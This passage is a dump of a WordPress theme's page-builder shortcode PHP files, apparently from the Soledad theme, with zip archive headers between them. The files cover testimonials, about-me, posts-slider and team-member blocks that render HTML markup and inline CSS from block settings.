$inner_wrapper_class .= ' pcsl-mobcol-' . $atts['mcolumns'];

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'testimonails' );
$item_class = 'normal-item';
if ( 'crs' == $atts['testitype'] ) {
	$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
	$data_slider .= 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
	$data_slider .= 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
	$data_slider .= 'data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
	$data_slider .= 'data-autotime="' . ( $atts['auto_time'] ? intval( $atts['auto_time'] ) : '4000' ) . '"';
	$data_slider .= 'data-speed="' . ( $atts['speed'] ? intval( $atts['speed'] ) : '800' ) . '"';
	$data_slider .= ' data-desktop="' . ( $atts['slider_item'] ? $atts['slider_item'] : 1 ) . '"';
	$data_slider .= ' data-item="' . ( $atts['slider_item'] ? $atts['slider_item'] : 1 ) . '"';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
        <div class="<?php echo $inner_wrapper_class; ?>" <?php echo $data_slider; ?>>
			<?php
			if ( 'crs' == $atts['testitype'] ) {
				echo '<div class="swiper-wrapper">';
			}
			foreach ( (array) $testimonails as $_testi ) {
				$_testi_image   = isset( $_testi['testi_image'] ) ? $_testi['testi_image'] : '';
				$_testi_name    = isset( $_testi['testi_name'] ) ? $_testi['testi_name'] : '';
				$_testi_company = isset( $_testi['testi_company'] ) ? $_testi['testi_company'] : '';
				$_testi_desc    = isset( $_testi['testi_desc'] ) ? $_testi['testi_desc'] : '';
				$_testi_link    = isset( $_testi['testi_link'] ) ? $_testi['testi_link'] : '';
				$_testi_rating  = isset( $_testi['testi_rating'] ) ? $_testi['testi_rating'] : '';

				if ( $_testi_name || $_testi_company || $_testi_desc ) {
					if ( 'crs' == $atts['testitype'] ) {
						echo '<div class="swiper-slide">';
					}
					?>
                    <div class="pcsl-item penci-testimonail <?php echo $item_class;?>">
						<?php

						if ( 's2' == $atts['style'] ) {
							if ( $_testi_desc ) {
								echo '<div class="penci-testi-blockquote">';
								echo '<div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div>';

								if ( $_testi_rating ) {
									$rating_item = '';
									for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
										$rating_item .= penci_icon_by_ver( 'fas fa-star' );
									}

									if ( $rating_item ) {
										echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
									}
								}

								echo '</div>';
							}


						} else {
							if ( $_testi_desc ) {
								echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
							}

							if ( $_testi_rating ) {
								$rating_item = '';
								for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
									$rating_item .= penci_icon_by_ver( 'fas fa-star' );
								}

								if ( $rating_item ) {
									echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
								}
							}
						}


						$url_img_item = wp_get_attachment_url( $_testi_image );
						if ( $url_img_item ) {
							$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
							echo '<div class="penci-testi-avatar">';
							echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
							echo '</div>';
						}

						echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
						echo '<div class="penci-testi-company">' . $_testi_company . '</div>';


						?>
                    </div>
					<?php
				}

				if ( 'crs' == $atts['testitype'] ) {
					echo '</div>';
				}

			}
			if ( 'crs' == $atts['testitype'] ) {
				echo '</div>';
			}
			?>
        </div>
    </div>
<?php

$id_testimonails = '#' . $block_id;
$id_testimonails2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_testimonails, $atts );

if ( $atts['p_name_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-name{ margin-bottom:{{VALUE}}px }', $atts['p_name_marbottom'] );
}
if ( $atts['p_company_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-company{ margin-bottom:{{VALUE}}px }', $atts['p_company_marbottom'] );
}
if ( $atts['p_rating_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-rating{ margin-bottom:{{VALUE}}px }', $atts['p_rating_marbottom'] );
}
if ( $atts['p_desc_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-blockquote{ margin-bottom:{{VALUE}}px }', $atts['p_desc_marbottom'] );
}
if ( $atts['p_desc_padding'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-blockquote{ margin-bottom:{{VALUE}}px}', $atts['p_desc_padding'] );
}


// Icon
if ( $atts['icon_quote_color'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{ color:' . esc_attr( $atts['icon_quote_color'] ) . ' }';
}
if ( $atts['icon_quote_bgcolor'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{ background-color:' . esc_attr( $atts['icon_quote_bgcolor'] ) . ' }';
}

// Name
if ( $atts['name_color'] ) {
	$css_custom .= $id_testimonails2 . ' .penci-testi-name{ color:' . esc_attr( $atts['name_color'] ) . '; }';
}
if ( 'yes' == $atts['use_name_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['name_size'],
		'font_style' => $atts['name_typo'],
		'template'   => $id_testimonails . ' .penci-testi-name{ %s }',
	) );
}

// Position
if ( $atts['company_color'] ) {
	$css_custom .= $id_testimonails2 . ' .penci-testi-company{ color:' . esc_attr( $atts['name_color'] ) . '; }';
}
if ( 'yes' == $atts['use_company_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['company_size'],
		'font_style' => $atts['company_typo'],
		'template'   => $id_testimonails . ' .penci-testi-company{ %s }',
	) );
}

// Description
if ( $atts['desc_color'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-blockquote{ color:' . esc_attr( $atts['desc_color'] ) . '; }';
}
if ( $atts['column_gap'] ) {
	$css_custom .= $id_testimonails . '.penci-testimonails{ --pcsl-hgap:' . esc_attr( $atts['column_gap'] ) . 'px; }';
}
if ( $atts['row_gap'] ) {
	$css_custom .= $id_testimonails . '.penci-testimonails{ --pcsl-bgap:' . esc_attr( $atts['row_gap'] ) . 'px; }';
}
if ( 'yes' == $atts['use_desc_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['desc_size'],
		'font_style' => $atts['desc_typo'],
		'template'   => $id_testimonails . '.penci-testi-s1 .penci-testimonail .penci-testi-blockquote{ %s }',
	) );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_testimonails, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\U  U  0  inc/js_composer/shortcodes/about_me/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_about_me',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/about_me/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget About Me', 'soledad' ),
	'description'   => __( 'About Me Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'attach_image',
				'heading'     => __( 'About Image', 'soledad' ),
				'param_name'  => 'image',
				'value'       => '',
				'description' => __( 'Select image from media library.', 'soledad' ),
				'admin_label' => true,
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'About Image size', 'soledad' ),
				'param_name'  => 'thumbnail_size',
				'std'         => 'full',
				'description' => __( 'Enter image size (Example: "thumbnail", "medium", "large", "full" or other sizes defined by theme). Alternatively enter size in pixels (Example: 200x100 (Width x Height)). Leave parameter empty to use "thumbnail" by default.', 'soledad' ),
			),
			array(
				'type'        => 'href',
				'heading'     => __( 'Add Link for About Image', 'soledad' ),
				'param_name'  => 'link',
				'description' => __( 'If you want to clickable on the about me image link to other page, put the link here. Include http:// or https:// on the link', 'soledad' )
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( ' Open in new window', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'link_external'
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Add nofollow', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'link_nofollow'
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Heading Text:', 'soledad' ),
				'param_name'  => 'about_us_heading',
				'value'       => '',
				'admin_label' => true,
			),
			array(
				'type'       => 'textarea_html',
				'holder'     => 'div',
				'heading'    => __( 'About us text: ( you can use HTML here )', 'soledad' ),
				'param_name' => 'content',
				'value'      => __( '<p>I am text block. Click edit button to change this text.</p>', 'soledad' ),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Align This Block', 'soledad' ),
				'param_name' => 'align_block',
				'value'      => array(
					__( 'Align Left', 'soledad' )   => 'left',
					__( 'Align Center', 'soledad' ) => 'center',
					__( 'Align Right', 'soledad' )  => 'right',
				),
				'std'        => 'center',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Title HTML Tag', 'soledad' ),
				'param_name' => 'title_tag',
				'value'      => array(
					__( 'H1', 'soledad' )   => 'h1',
					__( 'H2', 'soledad' )   => 'h2',
					__( 'H3', 'soledad' )   => 'h3',
					__( 'H4', 'soledad' )   => 'h4',
					__( 'H5', 'soledad' )   => 'h5',
					__( 'H6', 'soledad' )   => 'h6',
					__( 'div', 'soledad' )  => 'div',
					__( 'span', 'soledad' ) => 'span',
					__( 'p', 'soledad' )    => 'p',
				),
				'std'        => 'h3',
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Make About Image Circle:', 'soledad' ),
				'param_name'  => 'img_circle',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'description' => __( 'To use this feature, please use square image for your image above to get best display.', 'soledad' )
			),
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Disable Lazyload for About Me Image:', 'soledad' ),
				'param_name'  => 'dis_lazyload',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'description' => __( 'To use this feature, please use square image for your image above to get best display.', 'soledad' )
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_space',
				'heading'    => __( 'Image Margin Bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'image_width',
				'heading'    => __( 'Image Width', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'title_bottom_space',
				'heading'    => __( 'Title Margin Bottom', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		Penci_Vc_Params_Helper::extra_params(),
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'heading_ptitle_settings',
				'heading'          => esc_html__( 'About us text', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Heading Text Color', 'soledad' ),
				'param_name'       => 'title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Content Color', 'soledad' ),
				'param_name'       => 'content_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
		)
	)
) );
PK     N\M"    0  inc/js_composer/shortcodes/about_me/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$image              = $thumbnail_size = $link = $link_external = $link_nofollow = '';
$about_us_heading   = $align_block = $title_size = '';
$img_circle         = $dis_lazyload = $image_space = $image_width = $responsive_spacing = '';
$title_bottom_space = '';

$title_color = $content_color = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-about-me';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'about_us' );

$title_tag        = $title_tag ? $title_tag : 'h3';
$open_image       = '';
$close_image      = '';
$target_html      = '';
$image_width_data = $image_height_data = '';

$image_info = wp_get_attachment_image_src( $image, $thumbnail_size, false );
list( $image_src, $width, $height ) = $image_info;


if ( $link ):
	if ( $link_nofollow == 'yes' ) {
		$target_html .= ' rel="nofollow"';
	}

	if ( $link_external == 'yes' ) {
		$target_html .= ' target="_blank"';
	}

	$open_image  = '<a href="' . do_shortcode( $link ) . '"' . $target_html . '>';
	$close_image = '</a>';
endif;
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content about-widget<?php if ( $align_block ): echo ' pc_align' . $align_block; endif; ?>">
			<?php if ( $image_src ) :
				$image_width_data = penci_get_image_data_basedurl( $image_src, 'w' );
				$image_height_data = penci_get_image_data_basedurl( $image_src, 'h' );
				?>
				<?php echo $open_image; ?>
				<?php if ( ! $dis_lazyload == 'yes' ) { ?>
                <img class="penci-widget-about-image nopin penci-lazy" nopin="nopin"
                     width="<?php echo $image_width_data; ?>" height="<?php echo $image_height_data; ?>"
                     src="<?php echo penci_holder_image_base( $image_width_data, $image_height_data ); ?>"
                     data-src="<?php echo esc_url( $image_src ); ?>"
                     alt="<?php echo esc_attr( $about_us_heading ); ?>"/>
			<?php } else { ?>
                <img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width_data; ?>"
                     height="<?php echo $image_height_data; ?>" src="<?php echo esc_url( $image_src ); ?>"
                     alt="<?php echo esc_attr( $about_us_heading ); ?>"/>
			<?php } ?>
				<?php echo $close_image; ?>
			<?php endif; ?>

			<?php if ( $about_us_heading ) : ?>
            <<?php echo $title_tag; ?> class="about-me-heading"><?php echo do_shortcode( $about_us_heading ); ?>
        </<?php echo $title_tag; ?>>
	<?php endif; ?>

		<?php if ( $content ) : ?>
            <div class="penci-aboutme-content"><?php echo do_shortcode( $content ); ?></div>
		<?php endif; ?>
    </div>
    </div>
<?php
$id_about_me = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom  = Penci_Vc_Helper::get_heading_block_css( $id_about_me, $atts );
if ( $align_block ) {
	$css_custom .= $id_about_me . ' .about-widget{ text-align: ' . $align_block . ' !important; }';
}
if ( $image_width ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-widget img{ max-width: {{VALUE}} !important; width:100%; }', $image_width );
}
if ( $img_circle == 'yes' ) {
	$css_custom .= $id_about_me . ' .about-widget img{ border-radius: 50%; -webkit-border-radius: 50%;}';
}
if ( $image_space ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-widget img{ margin-bottom:{{VALUE}}px;}', $image_space );
}
if ( $title_bottom_space ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_about_me . ' .about-me-heading{ margin-bottom:{{VALUE}}px;}', $title_bottom_space );
}
if ( $title_color ) {
	$css_custom .= $id_about_me . ' .about-me-heading{ color:' . esc_attr( $title_color ) . ';}';
}
if ( $content_color ) {
	$css_custom .= $id_about_me . ' .penci-aboutme-content{ color:' . esc_attr( $content_color ) . ';}';
}
if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_about_me, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\?䃲    4  inc/js_composer/shortcodes/posts_slider/settings.phpnu [        <?php
$group_color = 'Typo & Color';
vc_map( array(
	'base'          => 'penci_posts_slider',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/posts_slider/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget Posts Slider', 'soledad' ),
	'description'   => __( 'Posts Slider Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
            array(
                'type'        => 'loop',
                'heading'     => '',
                'param_name'  => 'build_query',
                'value'       => 'post_type:post|size:10',
                'settings'    => array(
                    'size'      => array( 'value' => 10, 'hidden' => false ),
                    'post_type' => array( 'value' => 'post', 'hidden' => false )
                ),
                'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Select Style for This Slider', 'soledad'),
                'value' => array(
                    'Style 1' => 'style-1',
                    'Style 2' => 'style-2',
                    'Style 3' => 'style-3',
                ),
                'std' => 'style-1',
                'param_name' => 'penci_style',
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Image Size Type', 'soledad'),
                'value' => array(
                    'Horizontal Size' => 'horizontal',
                    'Square Size' => 'square',
                    'Vertical Size' => 'vertical',
                ),
                'std' => 'horizontal',
                'param_name' => 'penci_size',
            ),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide post date?', 'soledad' ),
				'param_name' => 'hide_pdate',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Disable lazyload?', 'soledad' ),
				'param_name' => 'dis_lazyload',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Enable Autoplay Slider?', 'soledad' ),
				'param_name' => 'autoplay',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
            array(
                'type'       => 'textfield',
                'heading'    => esc_html__( 'Custom Words Length for Post Titles', 'soledad' ),
                'param_name' => '_title_length',
                'value'      => '',
            ),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		array(
            array(
                'type'             => 'textfield',
                'param_name'       => 'heading_ptittle_settings',
                'heading'          => esc_html__( 'General Posts', 'soledad' ),
                'value'            => '',
                'group'            => $group_color,
                'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
            ),

            // Post title
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
                'param_name'       => 'ptitle_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
                'param_name'       => 'ptitle_hcolor',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'ptitle_fsize',
                'heading'          => __( 'Font Size for Post Title', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
                'param_name'       => 'use_ptitle_typo',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'ptitle_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
            ),
            array(
                'type'       => 'penci_separator',
                'param_name' => 'penci_separator1',
                'group'      => $group_color,
            ),
            // Post meta
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
                'param_name'       => 'pmeta_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'pmeta_fsize',
                'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
                'param_name'       => 'use_pmeta_typo',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'pmeta_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
            ),
        ),
		Penci_Vc_Params_Helper::extra_params(),
		Penci_Vc_Params_Helper::params_bookmark_icon()
	)
) );
PK     N\e_4  4  4  inc/js_composer/shortcodes/posts_slider/frontend.phpnu [        <?php
$output              = $penci_block_width = $el_class = $css_animation = $css = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';
$build_query         = $penci_style = $penci_size = $penci_img_ratio = $responsive_spacing = '';
$hide_pdate          = $dis_lazyload = '';

$dis_lazyload = 'yes' == $dis_lazyload;

$ptitle_color  = $ptitle_hcolor = $ptitle_fsize = $use_ptitle_typo = $ptitle_typo = '';
$pmeta_color   = $pmeta_hcolor = $pmeta_fsize = $use_pmeta_typo = $pmeta_typo = '';
$_title_length = 10;

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_post-slider-sc';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'post_slider' );

$thumbsize = penci_featured_images_size();
if ( 'horizontal' == $penci_size ) {
	$thumbsize = 'penci-thumb';
} else if ( 'square' == $penci_size ) {
	$thumbsize = 'penci-thumb-square';
} else if ( 'vertical' == $penci_size ) {
	$thumbsize = 'penci-thumb-vertical';
}

$query_args = penci_build_args_query( $build_query );
$loop       = new WP_Query( $query_args );

if ( ! $loop->have_posts() ) {
	return;
}

$rand = rand( 100, 10000 );

if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
	$dis_lazyload = false;
}

$style    = $penci_style ? $penci_style : 'style-1';
$dataauto = 'false';
if ( 'yes' == $autoplay ) {
	$dataauto = 'true';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                 class="penci-owl-carousel swiper penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                 data-lazy="true" data-auto="<?php echo $dataauto; ?>">
                 <div class="swiper-wrapper">
				<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <div class="penci-slide-widget swiper-slide">
                        <div class="penci-slide-content">
							<?php if ( $style != 'style-3' ) { ?>
								<?php if ( ! $dis_lazyload ) { ?>
                                    <span class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                          title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></span>
								<?php } else { ?>
                                    <span class="penci-image-holder"
                                          style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $thumbsize ); ?>');"
                                          title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></span>
								<?php } ?>
                                <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                   title="<?php the_title(); ?>"></a>
							<?php } else { ?>

                                    <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbsize ), ! $dis_lazyload ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                                    <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbsize ), get_the_title(), ! $dis_lazyload ); ?>
                                    </a>

							<?php } ?>
                            <div class="penci-widget-slide-detail">
                                <h4>
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php the_title(); ?>"><?php penci_trim_post_title( get_the_ID(), $_title_length ); ?></a>
                                </h4>
								<?php if ( ! 'yes' == $hide_pdate ) : ?>
									<?php
									$date_format = get_option( 'date_format' );
									?>
									<?php if ( ! get_theme_mod( 'penci_show_modified_date' ) ) { ?>
                                        <span class="slide-item-date"><?php the_time( $date_format ); ?></span>
									<?php } else { ?>
                                        <span class="slide-item-date"><?php echo get_the_modified_date( $date_format ); ?></span>
									<?php } ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
				<?php endwhile; ?>
				</div>
            </div>
			<?php
			wp_reset_postdata();
			?>
        </div>
    </div>
<?php

$id_post_slider = '#' . $block_id;
$id_post_slider2 = '#' . $block_id;
$css_custom     = Penci_Vc_Helper::get_heading_block_css( $id_post_slider, $atts );

if ( 'horizontal' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 66.6667%; }';
}
if ( 'square' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 100%; }';
}
if ( 'vertical' == $penci_size ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: 135.4%; }';
}
if ( 'custom' == $penci_size && $penci_img_ratio ) {
	$css_custom .= $id_post_slider . ' .penci-widget-slider .penci-image-holder:before{ padding-top: ' . esc_attr( $penci_img_ratio ) . '%; }';
}
if ( $ptitle_color ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4,';
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4 a{ color: ' . esc_attr( $ptitle_color ) . ' !important;}';
}
if ( $ptitle_hcolor ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slider .penci-widget-slide-detail h4 a:hover{ color: ' . esc_attr( $ptitle_hcolor ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $ptitle_fsize,
	'font_style' => 'yes' == $use_ptitle_typo ? $ptitle_typo : '',
	'template'   => "{$id_post_slider} .penci-widget-slider .penci-widget-slide-detail h4 a,{$id_post_slider} .penci-widget-slider .penci-widget-slide-detail h4" . '{ %s }',
) );

if ( $pmeta_color ) {
	$css_custom .= $id_post_slider2 . ' .penci-widget-slide-detail .slide-item-date { color: ' . esc_attr( $pmeta_color ) . ' !important;}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $pmeta_fsize,
	'font_style' => 'yes' == $use_pmeta_typo ? $pmeta_typo : '',
	'template'   => "{$id_post_slider} .penci-widget-slide-detail .slide-item-date" . '{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_post_slider, $responsive_spacing );
}

$css_custom .= Penci_Vc_Helper::get_bookmark_icon_css( $id_post_slider, $atts );

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\,;S<  S<  3  inc/js_composer/shortcodes/team_member/settings.phpnu [        <?php
$group_color = 'Typo & Color';
$group_team  = 'Team Member';

vc_map( array(
	'base'          => 'penci_team_member',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/team_member/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Team Members', 'soledad' ),
	'description'   => __( 'Team Members Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Design style', 'soledad' ),
			'param_name' => 'style',
			'std'        => 's1',
